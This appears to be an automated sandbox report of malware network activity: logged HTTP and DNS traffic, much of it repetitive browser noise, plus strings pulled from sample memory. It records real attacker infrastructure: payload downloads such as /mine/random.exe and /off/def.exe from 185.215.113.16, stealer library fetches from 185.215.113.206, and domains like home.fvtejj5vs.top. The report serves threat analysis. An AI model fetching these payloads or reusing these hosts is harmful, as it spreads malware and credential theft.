Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Mon, 18 Nov 2024 22:16:54 GMTIf-None-Match: "673bbcd6-435600"
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: fvtejj5vs.top

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: 7250ce8e20.exe, 0000001D.00000003.3517884390.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 7250ce8e20.exe, 0000001D.00000003.3517884390.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/V
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exea
Source: file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeb
